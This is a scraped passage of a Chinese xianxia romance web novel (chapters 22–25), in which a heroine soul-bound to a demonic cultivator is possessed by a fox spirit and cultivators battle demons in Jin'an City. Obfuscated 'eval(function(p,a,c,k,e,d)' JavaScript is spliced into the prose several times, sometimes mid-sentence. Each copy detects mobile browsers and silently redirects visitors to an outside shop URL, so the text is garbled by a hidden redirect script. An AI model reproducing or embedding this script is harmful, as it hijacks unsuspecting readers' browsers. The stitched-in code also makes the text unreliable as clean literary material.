d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16196407|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,是不允许门内弟子与这些邪修有所牵连。” “所以,要让温疏良知道我爹是鬼修,我就不能再回云霄宗了。不过我倒无所谓,反正我也不爱修炼。” 何言面无表情地拾起一块桂花酥往嘴里送去。 阮清木不觉蹙起眉,但何言的家事她到底也帮不了什么。 骤然窗外一道雷闪,狂风席卷,乌云蔽日,方才还日头正盛,顷刻间,天色就黯淡下来。眼看着雨势即来。阮清木起身到窗边,将窗子全都关严。 “不过我怎么没看到其他同门弟子,就只有你一人?” 阮清木不动声色地回道:“是啊,我自己来的,到现在我也没找到温师兄呢。” 只能说风宴的速度实在是太快,温疏良一行人还没到呢。 何言咬了一半的桂花酥从嘴里掉了出来,“那他们不会已经直接去妖域了吧?” 阮清木想了想,回道:“也有可能。” 何言啪的一拍脑门:“那咱俩明天就赶紧追上去。” 她话未说完,窗棂陡然吹进一股风,将其吹得啪嗒一响。 顺着窗棂的缝隙便钻进一股黑气。阮清木敏捷地一眼就窥见异样。她看了一眼何言,却对此毫无反应,好似只有她能看见那抹黑气。 那黑气逐渐弥漫开来,若隐若现,阮清木眯起眼睛,判断着到底是自己看错了,还是真的有脏东西。 何言自顾自地吃着,又将小食盒往她这边推了推,“你怎么不吃啊,我排了好久才买到呢。” 说话间,那原本散掉的妖气又重聚起来,妖气森森,自屋内飘来飘去,竟化形一只雾气般的手,猛然抓向何言的后颈。 阮清木心下一惊,下意识就想运起灵力抵挡下那妖气,可她尚未出手,周身的空气仿佛随她意识控制,无形间将那妖气束住。 她忽然愣住,又试着用意识御起灵力,瞬间那抹妖气就湮灭得烟消云散。 嗯?这么简单就没了? 还没来得及想明白这城中怎么会忽然出现妖气,何言就偏过头来问道:“怎么了?” 阮清木压低声音:“好像有妖气。” 何言一惊,四下对着屋内环视,“哪呢?我怎么没感觉?” 因为已经没了…… 身后的房门就被叩响,阮清木想着大概是风宴,看了眼何言,最后还是决定先给他开门。 门一开,外面的人竟不是风宴。而是一身雪白道袍,玉簪束发,眉眼清俊,气质出尘的修士。阮清木见那人十分面熟,陡然间想起她之前看到的那些外门弟子的记忆。 那人微微一笑,执手抱拳道:“唐突姑娘了,在下方才见姑娘的房内似乎有所异动,不知是否需要援手?” 就连这声音都极为熟悉。 面前的脸与她记忆中的样貌重合,门外站着的居然是出现在那女弟子记忆中,苏婧空的凌哥哥——凌无相。 与此同时,窗棂忽然从外被拉起,屋内三人均向那边望去。只见风宴从窗外利落地翻窗而入,动作轻盈,落地时连衣袂都未扬起,他手中也提着两个小食盒。 外面雷雨大作,但他身外渡了一层灵力隔绝,滴水不沾,就这样翻进了阮清木的屋子。 一抬头,就看见屋内三人一脸讶异地看着自己,风宴的眼底闪过一丝不悦,唇角却翘起:“怎么我才走了一会,就这么热闹了?” 23. 第 23 章 雨声自风宴身后半开的窗棂淅淅沥沥传来,随身带进来的潮气漫延在房内。 风宴的脖间又被领子遮起,与平日里在云霄宗穿的修士服不同,除了阮清木,他很少在别人面前穿黑衣。 但此时他这紧身玄衣,墨发又未束,只随意披在肩头,衬得他脸色愈发莹白。张扬上挑的眼睛,带着几分邪魅,腰间暗红色的腰带束住窄腰,衣摆处蜿蜒盘踞的红色纹样,整个人不免显得有些阴鸷。 何言差点没认出风宴,见他神色不悦,且两三步上前将手中食盒放到桌上时,视线没从他们三人身上移开半分,无形的压迫让她有些紧张。 阮清木也有些紧张,因风宴鲜少在外人面前这般露出邪气的模样,看起来着实不太像正道弟子。 她有些心虚瞥向门外的修士,却见那凌无相竟将全部注意力,都放在她的脸上。 那双带着查探的眼神像把利剑,审视着她。 阮清木:你搞错人了吧? 只见凌无相神色一肃,先行一礼:“在下万灵宗弟子,凌无相。方才见有一缕妖气遁入了姑娘房内,这才贸然相询,扰了几位,多有得罪。” 虽然言语态度十分礼节,却仍是定定看着阮清木。 万灵宗? 这次倒是轮到阮清木盯回去了,那女弟子的记忆中,他明明带着她一起拜入的云霄宗啊。 “原来同为道友啊。”何言往前一步,“方才你也说有妖气来着,怎么就我没感觉啊?” 她还想问问风宴有没有察觉到什么,刚回头就看见风宴神色难辨,眼睛也直勾勾地黏在阮清木的身上,眸光森冷。 她下意识地闭上了嘴。 凌无相眉梢挑起,像是不经意地开口问道:“你们也是修道之人?敢问是哪个仙宗弟子?” “毕竟在下看这位姑娘,着实有些面熟。不知是否在哪见过?” 此话一出,屋内陡然沉默了下来。 阮清木怔住,她倒是通过那女弟子的记忆见过凌无相,可凌无相没理由见过她呀。 还是说,他指的是原主…… 何言抵不住房内的低气压,她上前一挥手,将二人互盯的视线全都用手挡住,“差不多行了,你这搭讪方式该换了啊。” 瞧不见身后有人眼珠子都要瞪出来了吗? “你不是说有妖气吗?要不再看看现在还有吗?” 凌无相闻言便将灵识探去,的确未再找出那抹妖气。 只是眼下他更在意的是这身青绿衣裙的姑娘,眉眼间似乎很像他之前一直未曾捉到的…… “你看,没有吧。”何言忽然出声又打断了他的思绪。 “更何况我们都是云霄宗的内门弟子,要真有的妖邪作祟,我们也自能应对,应该用不着道友出手,多谢哈。” 何言语速极快,说完还准备关门送客。 凌无相及时抬手抵住了门扉,刚要接着开口,那门扉却猛然间被另一股力量对抗,这股灵力出现得悄无声息,凌无相甚至察觉不出,是何人出手。 他神色不悦,只能姑且当他认错了罢。 只是这般不礼貌地直接赶人,若这屋内这三人是其他仙宗弟子,他不会与之计较,大不了退一步,互不得罪。 可偏偏是云霄宗。 凌无相掌间运起灵力,迸发出淡淡金光,与那股不知从何而来的灵力较着劲,不肯退让分毫。 他将屋内三人扫视一圈,最终看向那个最不像好人的黑衣少年。 风宴正抄着手倚在窗前,极轻地笑了一声。 笑是因为,这股和凌无相对抗的灵力根本不是他的。 阮清木正悄然将灵力无形地抵在门上,察觉到凌无相也将自己的力量投在门扉上,她又暗暗将灵力运转,继续用力往外推。 说她看起来眼熟,着实是个非常危险的信号,万一他见过的之前做妖女的原主就麻烦了。 快关上啊这个死门! 咔嚓一声,门扉上传来不堪重负的呻吟声。凌无相的额间已密布一层汗意,手臂传来痛意,开始发颤,他已是将全身的灵力都抵在门上。 这小子究竟是何修为?一动不动,轻飘飘地就能抵住他全身的灵力? 阮清木只犹豫着如果再加点力道,这门会不会坏掉。 终于是灵光一闪,她调转灵力的方向,对着凌无相的脑门往外猛力推去。他神色骤然一变,往身后踉跄几步,灵力尚未收回,门就“砰”的一声关上了。 呼,搞定。 收回灵力,她还不忘假意和身旁的何言抱怨:“这人好烦啊,是吧。” 只是何言面上的神情略有些不自在,方才那两股力量对冲时的压迫,她也切实感受到了几分。阮清木这位表哥性子当真不太好惹。 就连方才看到阮清木红肿的唇角,那种要为小姐妹出头的怒意,都悄然散去了。 “既然你表哥回来了,那我也就先走了。我房间在直走左拐的尽头,要是启程去找温疏良的话,记得喊上我就行。” 毕竟她很会看眼色,一下子就溜了。 “……” 只是在旁人眼中凶神恶煞的表哥本人,此时早已百般无聊地坐在几案前,将他刚买回的小糕点一一摆了出来。 自从上次带回雪蔻给阮清木吃,他莫名觉得给阮清木喂东西,跟他早些年刚将炎昀捡回魔域时,给那只赤鸟喂食的感觉差不多。 不过炎昀那时候是真的没有化形出人形的鸟。 阮清木不是个真木头。 但不管怎么说,感觉上是差不多。 他虽然喜欢杀人,但也很喜欢养东西,这两种感觉也很相似。因为二者都是能够直接掌握对方性命的类型。 他将一盒两层的紫檀食盒拆开,一共四个盒子,什么枣泥酥芙蓉糕金桂粽还有…… 何言落在桌上的桂花酥,和他买的一样。 他蹙眉,将何言那个盒子推远了点,然后回过头看向阮清木。 “过来。” 阮清木还站在门旁不敢置信。 因为这很诡异你知道吗。 “你出去就是买这些去了?”阮清木忍不住问了。 风宴坦然地点了点头。很正常啊,他在魔域的时候就有习惯养一些花花草草木头蛇啊鸟啊。 小白蛇从他衣袖中弹出脑袋,眼睛瞪得圆圆的,吐着信子朝小食盒爬去。 见阮清木还是没动,风宴有些不耐烦:“过来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16205646|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哦。”突然被凶了一下,她一下老实了,径直走过来坐到风宴那张几案的对面。 风宴又蹙起眉,他扫了一眼他身旁空着的椅子,“坐这个。” ? 阮清木只觉得更诡异了,但她无所谓,反正坐哪都一样。于是她还是听话地挪了位置。 小白蛇爬到食盒旁,伸出信子舔了一块金桂粽,原本风宴抬手拾起另一块金桂粽的动作忽然顿住,换成了芙蓉糕。 随后他将那块芙蓉糕递到了阮清木的嘴边。 那金桂粽太甜。 阮清木盯着那块停在她嘴旁的糕点,觉得风宴多半还停在突然咬她一口的愧疚中,没有走出来,但又碍于面子,只能靠这些来表达。 她试探着接过,“表哥,其实你不用……” 风宴忽然移开那块芙蓉糕,躲过她接糕点的手,再次将那糕点放到她的唇边。 既然要喂养这些小东西,就得亲手喂。如果自己吃就不算了。 思索一瞬,阮清木只好顺着他咬了上去,明亮的眸子缓缓向上转眄,对上风宴的视线,似乎是在向他确认。 风宴满意地收回手,不再喂她,只将食盒往她那边推了推。 小白蛇紧接着也尝了一块芙蓉糕,因为化形的身体变得很小,所以吃得慢吞吞的。 阮清木又拿起一块:“表哥怎么不吃?我一个人又吃不完。” 风宴只看着小白蛇津津有味地吃着糕点,淡淡地回道:“本来就是买给你的,我从来不吃这些。” 屋外的雨势渐小,街坊处临时收起摊子的商铺又开始恢复了人声。阮清木向外扫了一眼,问道:“表哥,这里好像不是洛方镇吧。”、 面板的地图显示,洛方镇极为接近北境的妖域,那种阴邪之地,必然鲜少人居住,不会这般热闹。就算有零星几落村子,估计也是贫苦人家。 “不是,这里是锦安城。” 阮清木正嚼着糕点的嘴巴忽然顿住。今天怎么一个两个的都这么巧,一个是凌无相,现在这锦安城又是那女弟子记忆中的旧乡。 “那我们为何不直接去洛方镇呢?温疏良会在这城中歇脚吗?” 她想起什么,恍然道:“你又和炎昀互相传讯了是吧。” 风宴没回应,只将小白蛇拎到了另一个食盒中,让它换着口味吃。他抬眼看向阮清木,又瞥见了她还没好的下唇,那一点微肿的红色,在素净的脸上格外惹眼。 “你……要一直这样下去吗?”他忽然开口。 “嗯?”阮清木不知他在说什么,但见风宴指尖凝起星星点点的灵力,径直朝她唇边探来。 她下意识地拦住,面上浮出一丝不怀好意地笑:“留着呗,到时候见了温疏良也有理由解释我为什么突然下山。” 说完她留意了一眼风宴的反应。 见她这么说,风宴便将手放下,点了点头:“好。” “你不生气?”阮清木第一次见风宴这么好脾气地听她的话。 风宴疑惑:“生什么气?” “我这么利用你,你不生气?而且你不怕传出去对你的名声不好?” 闻言,风宴忽然笑了:“怕什么?本来就是我做的。” 24. 第 24 章 入夜,白日里车水马龙的喧嚣尽数沉寂下来,整个锦安城都悄无声息。 客栈的房内没有点灯,唯有自窗外投进来的一缕清冷月光,在深色地板上披上一层光晕。 风宴的身侧传来一阵轻微的窸窣声。还没等他反应过来,一个温软的身子便毫无防备地贴了过来,像是熟睡的小兽下意识地蜷在他身旁。 阮清木翻了个身就将他身子圈住,眉心蹙起,好似在害怕着什么,在他肩膀蹭了蹭脸颊后,将头自然而然地埋入了他的颈窝间。 风宴微微将头往一旁侧了一点,让阮清木抱住他的姿势更贴合。 其实自从阮清木发现自己受这个魂契影响,会下意识地贴近他之后,每晚入睡前,她都刻意离得远些。甚至一直以来都不怎么敢睡。 今夜她大概是实在抵不住,就这么睡过去了,所以无意识地将自己整个人贴了上来。 若有若无,干净清甜的香气随之萦绕在他鼻间,不是什么脂粉香气,是她身上草木清香的味道,丝丝缕缕。 没有一把将她推开,单纯是因为魂契是对两个人都产生影响的。换句话说,她下意识地贴近,他也同样会舒服一些。 仅此而已。 黑暗中,风宴缓缓阖上眼。 他将神识以自己为中心,如一张蛛网般无边无际地扩展开。自屋檐,自长街,一寸一寸地逐渐掌握整个锦安。 终于将意识探到锦安城的每一处角落,他寻到了刚到锦安城中的温疏良那一行人。 因为到了城镇之中,不再御剑,一行人走在四下寂静的石阶路上。 寻到了这行人的位置后,风宴便缓缓聚集自己四散的神识。其实眼下已经探到了温疏良的位置,他如果将神识归体,再出门会更快些。 但现在那副身子正被阮清木死死搂着,他要是起身,阮清木就会醒。 倒不如继而用神识,虽然聚集神识,慢是慢了点。 一道模糊的身影逐渐被勾勒出来,缓缓变得清晰,终于灵光散去,一抹半透明的身影静静悬浮在夜空之中。 风宴的神识迅速朝温疏良所在处飞掠而去。 穿过层层绕绕的街道,他好似一道无声的流矢,不过短短数息间,他就已悄然接近那一行人。 他敛住气息,用神识杀人,着实要比正常情况下耗费更多灵力,但也是最能隐藏自己的办法。 一行人中,炎昀似乎有感应一般,略微回了下头,随即又若无其事地跟在人群之中。 风宴缓缓抬起手,随心念化动灵力,一瞬间,无数星星点点的火光自虚空中析出,朝他掌心汇聚成暗红色的火焰。 虽然先前和阮清木约定好,和温疏良同行去取魄珠,但他改了主意。提前将温疏良杀了,才是最优解。 漠然的眸间闪过杀意,没有丝毫的犹豫,他手腕轻转,抬掌便狠厉地袭去。 只是刚掠出半步,他的神识就骤然顿住。风宴皱起眉,他低下头,望向自己的身体。 因他此时是神识状态,身形衣着都与自己在客栈的本体一般无二。 他的神识虽然看起来没有一点变化,但那躺在阮清木身旁的本体却传来了异样。 有人跨坐在他的腰间,一双微凉的手正轻轻抚着他胸襟,那双手落在他衣襟的盘扣之上。 指腹游走在他的身体上,随后他感受到自己本体的衣襟,被缓缓地,一寸寸地扯开。 ……她在做什么? 他紧盯着不远处的温疏良,本想着今夜就算杀不掉他,也能将其重伤。 这样他便可以单独动身去取百妖王的魄珠。 正思索着,他的本体又被一只手揽住,动作很慢,似乎在引诱着他。 不是她。 风宴的神识瞬间转身朝客栈飞去。 - 神识归体。 那双紧闭了许久的狭长眼眸缓缓睁开,对上正坐在他腰腹间,明媚却极其蛊惑的双眼。 屋内,不知何时燃起的烛火昏暗。 阮清木发出一丝绵长均匀的吸气声,她抬起手,一根纤长玉指落在他的脸上,沿着他的脸侧划到下颌,眼底尽是勾引的神色。 不是魅术。 轻挑起他的脸,她桃红的薄唇开合:“公子这幅样貌,当真是极上乘者。” 就连声音都不似平日里的清冷,而是转换了声调,能钻进人骨子里的酥媚。 风宴蹙了蹙眉,这是被狐妖上身了。 好歹也是和他绑定了魂契,占用他一身修为,怎么连个狐妖都防不住的? 他动了动手指,发现这狐妖还给他设了定身术,一股微妙的禁制锁住了他的四肢百骸。 风宴嗤笑一声,瞬间抬手掐住她的脖颈。 阮清木的脸上陡然露出怯意,她瞳仁骤缩,双手死抓着箍紧她脖颈的手。但只慌乱了这一瞬,下一秒她的唇角就勾起。 这倒是她之前常做的表情。 她从喉间挤出声音:“公子……我可是你的枕边人啊。” “我们,是道侣啊……”她脸颊憋得绯红,继续苟延残喘道。 风宴那漠然的眼眸终于有了一丝波动,他歪头看着她。 似乎是抓住了他这一刹那的犹豫,阮清木松开一只手,忍痛抚上他的脸,近乎谄媚地表情:“放了我,求你。” “求您了。” 这幅模样也有几分熟悉,只是这份熟悉的谄媚样子,她鲜少对他这样。 瞬间他便回忆起,那日她用着这张脸去讨好温疏良的样子。一种说不清道不明的滋味爬上他的心间。 鬼使神差地,他眼底的杀意竟褪去了几分。风宴的掌间卸了力,阮清木捂着脖子就倒了下去,直接撞进他的怀中。故意将微凉的发丝摩擦在他胸前,近在咫尺的吐息擦过风宴的耳畔。 她颤抖地躺在风宴的怀中,幽幽开口:“公子的身子好冰,要不要奴帮您暖一暖?” 阮清木眼皮缓缓掀起,这张脸因窒息而浮现出诡异的红,倒添了几分惊心动魄的媚感。方才还满是怯意的眸子,顷刻间蒙上一层水雾。 风宴挑起眉梢。 “你想怎么死?”他淡淡地开口。 阮清木动作极为轻柔,竟抓起他的手,与他十指紧扣,掌间因魂契而留下的咒印摩挲着他的掌心。 “为什么要杀了我?同一张脸,我给你的感觉,她能给你吗?” 似乎从他细微的表情中捕捉到了什么,她更大胆了。 像藤蔓寻到了可以攀附的树,她整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16214944|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔软的身子都缠了上来,不再有半分间隙。温热的手臂环住了风宴的脖颈,指尖轻缓地探入他散落的墨发间。 极致的靠近,他乱了节奏的心跳声传进那狐妖的耳中。 她并未抬眼,长睫如蝶翼般低垂,好似一切尽在她掌控之中。那得逞的表情全然落在风宴眼中。 风宴仍面无表情,看不出一丝情绪。终于那颗失控擂动的心跳,仿佛被死死攥住,戛然而止。 一切是混乱、病态的好奇都在这一瞬间被他斩断。 他漠然地从她手中抽回那只修长分明的手,五指微张,掌间运力,一缕暗红色的魔气凝出,汇聚于他的掌心。 在袭向她的下一秒,阮清木的神情竟陡然间开始扭曲。 风宴的动作顿住。 那极为痛苦恐惧的神情,仿佛皮肉之下有另一股力量要挣脱出来的景象。 好似有一只手从她眼眶中挤出,板住她的脸,死死抓住那狐妖的神魂。 下一秒那只手竟猛地用力一扯,浑身散发黑气的扭曲的鬼影,竟硬生生被那只手,一点一点地从自己的身体中拽了出来! 而随着那鬼影彻底剥离出体外,阮清木神色间所有的媚意和痴迷的神情瞬间褪去。 她惊魂未定地跨坐在风宴的腰间,那双恢复了清澈的眼眸看向了她身下之人。 “表哥!” 阮清木手中还死抓着那狐妖,在她手中发出凄厉的一声惨叫:“啊啊啊——!” 她蓦地身子僵住,下意识就要捂住狐妖的嘴巴。大半夜叫这么大声是要干什么? 风宴抬手便帮她掐了个诀,将那狐妖的六识五感全部封住,顿时屋内安静下来。 阮清木见状直接将狐妖用力甩出,那副躯体撞到墙上便重重摔到地上,如鬼一般蜷缩痉挛着。 她另一只手撑在风宴的胸前,猛地回过头,眼中带着怒意:“这什么鬼啊?怎么上我身了?” 那双明媚的眼眸瞪得圆圆的,又恢复了以往的活力。 “这不是鬼。”风宴移开视线,慢悠悠地开口。 不是你…… 阮清木气愤道:“我不是在说这个。” 方才她只觉自己的意识如坠入深海之中,看不见也听不见,但又好像能感觉到自己的身体不受控地在动。她挣扎了很久,都睁不开眼睛。 直到心口处的心跳声越来越喧嚣,每一次跳动都好似锤击她的胸口,才终于将她彻底吵醒。 “这东西刚才用我身体做了什么?”阮清木垂眸看去,才发觉自己正跨坐在风宴的腰腹上,一只手还抓着他胸前的衣襟。至于风宴的衣襟已经被撩开了一半,松垮地挂在身上,露出一大片胸肌…… 她连忙抬起眼,震撼得无话可说。 良久,她才想明白自己到底是怎么醒的。 是这鬼东西上了她的身,又借机去撩拨风宴,结果看他长得实在是不错,一边勾引,一边把自己搭进去了。 所以那砰砰乱跳的心跳声才把她给吵醒了。 “她看上你了。”阮清木抚着自己的心口,若有所思地喃喃自语。 风宴猛地回过头,眉心蹙着,被阮清木这句无厘头的话搞得语滞。 “是真的,我的心跳得好快。” 25. 第 25 章 阮清木抬起眼,对上风宴那不太平静的眼眸,抚在心口的手一直没有放下。 “不然这要怎么解释?” 咚咚的心跳声停不下来。 明明只是寻常的夜,窗外微不足道的风声,此时落在二人的耳边,却被无限地放大,变得喧嚣起来。 桌上的烛火不知何时即将燃到尽头,火苗愈来愈小,光线也愈发昏暗,在墙上映出模糊的人影,两道近在咫尺的轮廓。 风宴烦躁地隔空又点亮了几盏灯火。 他扫了一眼还坐在他身上的阮清木,“那是因为我方才要杀了她。” “还有,你先下来。” 他没再看向她,声音喑哑,面色冷得吓人。 阮清木这才反应过来两人此刻是何等姿势。她脸上血色瞬间将小脸涨得通红,不再有半分迟疑,手忙脚乱地从他身上爬走。 但她起身的动作太急,身子又有些发软。 不觉地往旁边倒了一下,她连忙撑在床榻上,膝盖不可避免地自他大腿根侧重重地擦了过去。 她猛然顿住,僵在那一动不动的,连呼吸都屏住了。 身下之人也是蓦地僵住。 阮清木不敢抬头,只能用余光心虚地瞥过去。 烧起来的不止她一个。 那藏于青丝下几乎要滴血的耳垂…… 下一秒风宴蓦地起身,挡住烛火的光线,他眼底已浮出杀意,“你是不是真的想死?” 阮清木紧咬着下唇,微摇了摇头,面上浮出一丝委屈来。 不怪她啊……被那鬼东西附身之后,她自己强行将妖物剥离出来,脑袋到现在都还是晕的。 鬼知道附身了多久,风宴又为什么不直接杀了那妖物?最后还要靠她自己才醒过来。 还是说这俩人没准已经…… 阮清木顿时倒吸一口气。风宴修长冰凉的手蓦然抓住她的下颌,将她的脸掰了过来。 “你在想什么?” 那双妖异的眉眼死盯着她,怒意几乎要在眼底燃出一层火来。 她能清晰地感觉到,一股暗红色的魔气自他身体中疯狂溢出,像无数条毒蛇般倏地缠绕攀附,紧紧缚住了她的脖颈。 现在无论做出任何回应都只怕会火上浇油。 脸颊被他捏得隐隐作痛,阮清木的长睫快速地颤动了几下。 “在想……” “我的心跳得这么快,一定是因为你长得太好看。那个妖勾引你不成,反倒自己被勾了魂。” 她一向很会说讨好的话。 哪怕被他威胁着,也会眼睛都不眨地就说出这些诓人的鬼话。 她又要开口说什么,低声唤道:“表哥……” 风宴怒道:“闭嘴。” 胸膛里的心跳仍跳得极快,甚至快要冲破她的身体。 阮清木阖上眼,捂着心口转身躺下,“我现在不能看你,奇了怪了,这心跳怎么回事?” 地上蜷缩的狐妖忽然发出动静,自喉间挤出的咯咯笑声,十分诡异。 不知何时竟将自己修炼多年凝练出的本命精血燃烧起来,灵力倾泻而出,冲破了对她五感的禁制。 风宴狠厉地回过头,他抬起手,五指张开后猛然握拢,收紧的那一霎,那蜷缩着的狐妖被红色魔气瞬间从地上被拎起。 欲将所有的怒意全都发泄在那狐妖身上。 “就算你现在杀了我,又能如何?还会有源源不断的妖鬼,如我这般,缠上这截木头。” 话音一落,阮清木睁开眼,倏地自床榻上起身,见风宴暗红色的魔气已如咒印般将那团黑气死死缚住。 “为什么缠上我?我们之前有仇?” 她这才看出那狐妖其实早已没有了肉身,是一只妖鬼。 先前还以为是妖气覆盖全身所以看不清她样貌,现在那妖鬼被魔气压制,身上的妖气散去。 将自己仅存的一滴本命精血燃起后,她似是回光返照般,缓缓显露出生前的绝色容颜,眼尾飞挑,惊心动魄的艳丽。 幽幽响起的声音空灵且十分魅惑:“凡胎□□,却是一截木头的化形,虽有朽坏之时,却寿元长久。如此上等的容器,三魂七魄哪怕仅剩一魄,只要放在这具身体,便可重塑神魂。” 说话间,她那缕最后的魂识飘起,“小姑娘,单单只是防妖鬼上身可不够哦,像我这样的心善的可不多,下次等着你的……” “只会是诛魂夺舍。” 话音一落,她便自燃神魂,烟消云散。 窗外阴风四起,像是有无数怨魂借着风声凄厉惨叫。 阮清木瞟了一眼风宴,没看出他面上有什么情绪。 也是,估计这妖鬼所言,他早就知道。 她这截木头身子,倒不是不死不灭那么特殊。但以树木的寿命来算,她确实寿元很长很长。所以对于原主来说,无尽的寿命反而是一种负担。 必须要不断寻找支撑这截木头化形的心脏。 一旦变回木头,便陷入无尽的沉睡。 燃了一半的烛火突兀得响了一声。 阮清木突然觉得自己像案板上的鱼,不知道该喜还是该忧。刚穿进来时,总被恶鬼缠上,那时她单纯的以为是原身之前仇家太多。 原来是这块木头太招鬼。 “表哥。”阮清木忽然开口,打破寂静,“她好像把我说得很厉害的样子,看起来很抢手。” 风宴只留一半侧脸给她,看不出他此时在想什么。 “我们之间的交易应该不止这次的魄珠吧。”她继续说道。 “我知道表哥很厉害,杀了这些妖鬼只需动动手指。” 虽然和风宴绑定了魂契,可以借用他的修为,但对她来说,空有实力和能将其发挥到极致是两回事。 倘若真如那狐妖所说,她这截木头这么诱人,那就如一块待宰的羊,暗处不知道有多少双眼睛。 她忽然凑上去,拉住风宴的手,柔声道:“表哥能不能一直如今日这般保护我?” 风宴的手冷得像冰。 “如果表哥一直待我好,我愿意把这截木头只留给表哥一人。” 反正若她走完原书的剧情,那最后的结局便是死在温疏良的剑下。到时她就离开这个书中的世界,剩下发生的便都与她无关。 既然这样,她将这木头给风宴就好了。管他想拿来做什么,把她上面尚未耗尽的寿元拿来换取修为也行。 风宴终于有了反应,他回过头,“你什么意思?” 阮清木的指尖贴合着风宴的掌心。 “意思就是,如果哪天我真不小心死了,与其这截木头肉身被别人占去,我愿意把这个留给你呀。” “因为你对我好。” 他沉默地望着她,看了她很久,久到阮清木以为,他是不是没有听清自己在说什么。 “我没有对你好。”风宴突然回道。 阮清木瞬间被哽住,她想了想,说:“那就以后对我好。” 风宴忽然浮出一抹讥笑:“对你好,还会让你死?” 阮清木佯装思索的样子,“毕竟人总有失手的时候嘛,就譬如下次出现一个比今日还要再强百倍千倍的妖鬼,你万一没打过,我不小心死了。这种情况,我不怪你……” “不可能。” 风宴突然打断她。 “不存在这种情况。”风宴又说了一遍。 见他眼睛都不眨地盯着自己,仿佛在跟她较劲一般。阮清木只当他是少年意气,不认同说他会有打不过别人的情况。 阮清木歪头道:“你有那么厉害?” 系统在他们初识那一夜就提醒过她,即使绑定了魂契,命格相连,但若她死了,契约自动解除。风宴或许会受些影响,但绝不至于被她牵连到丢失性命。 魂契不过是二人暂时合作的契约罢了。 若真的命格相连,以风宴的实力,又怎么会让如此牵制他的契约存在。 所以如若他现在以魂契为理由,说她不会死,那完全就是诓她,她是不会信的。 但出乎意料的是,风宴也默契地没有提魂契,只盯着她。 阮清木妥协了,她无奈地点头道:“好好,表哥你最厉害。” 骤然间一声凄厉的叫喊声划破寂静的夜幕。那叫喊声如同点燃了引线,整条长街都被惊醒。 二人的交谈被打断,同时望向窗外。 惊恐的哭喊声、桌椅被撞翻的声音、孩童的啼哭声一时间在寂静无声的夜晚炸开。 客栈内几间客房的门猛地被推开,自屋内闪身几名白衣持剑的修士。 凌无相带着几个万灵宗的弟子朝着哭喊声传来的方位飞身而去。 “结阵!” 他一声沉稳的低喝,身后几名修士迅速排好方位。分别占据剩下四个角落,同时掐动剑诀,口中念念有词。 凌无相立于法阵的阵眼之上,将自己的本命剑作为整个阵法的中枢,自己并指如剑,随着他的动作,那剑阵骤然分出十几道锋锐无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16247412|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的剑气,分裂向四面八方,刺向不远处的几道黑气。 剑气中了几个妖物,那妖发出吃痛的怒吼,喉中挤出咆哮,转头向凌无相及几位修士袭来。 凌无相身形一闪,掌中抓住自己的本命剑后便跃出阵外,几名修士继而驱动阵法,剑阵腾空而起,正好擒住飞掠而来的妖物。 金光乍现,剑阵中的黑气却丝毫不减,反而更为猖狂。凌无相持剑入阵,一剑刺下,正中那妖物的后心。 一声痛苦的咆哮,那妖的后背出现一道骇人的剑痕。 只是这一剑却好像彻底激发了那妖的杀意,且四面八方源源不断地妖鬼循声赶来。比之前更加污秽的妖气弥漫开来,剑阵不堪重负,几名弟子面色惨白,开始抵挡不住。 凌无相与那妖物缠斗着,余下几名弟子不仅要维持剑阵,还要与妖鬼斗法。 一时间,剑气纵横,妖气翻涌。 但最终还是几名年轻修士的修为难撑这凶恶的妖气。 一名弟子再也承受不住,猛地喷出一口鲜血,跪倒在地,剑阵缺了一人,光芒瞬间黯淡了下去。 那妖物也瞬间抓住这个机会,发出一声怒吼,将全身的修为全部汇聚在掌中,将凌无相逼得连退了几步。 他口中溢出血线,从攻势逐渐转为只剩抵挡,一招不及,那妖力只袭向他胸口。 “师兄!”身后传来弟子焦急的叫喊,但已然来不及。 凌无相抬剑立于胸前,打算硬接下。 但紧接着,一道迅疾的银色剑气自巷中疾驰而来,铮的一声,利刃刺穿肉身的闷声响起,血光四溅。 阮清木在二楼的窗边向下望去,温疏良一身湖青色的衣袍,身影轻盈,掌中运力将长剑收回。 身后还有云渡珩和其他几名云霄宗的弟子,两个门派的弟子打了个照面,彼此间都默契的没有任何言语,全部将注意力都放在余下妖物身上。 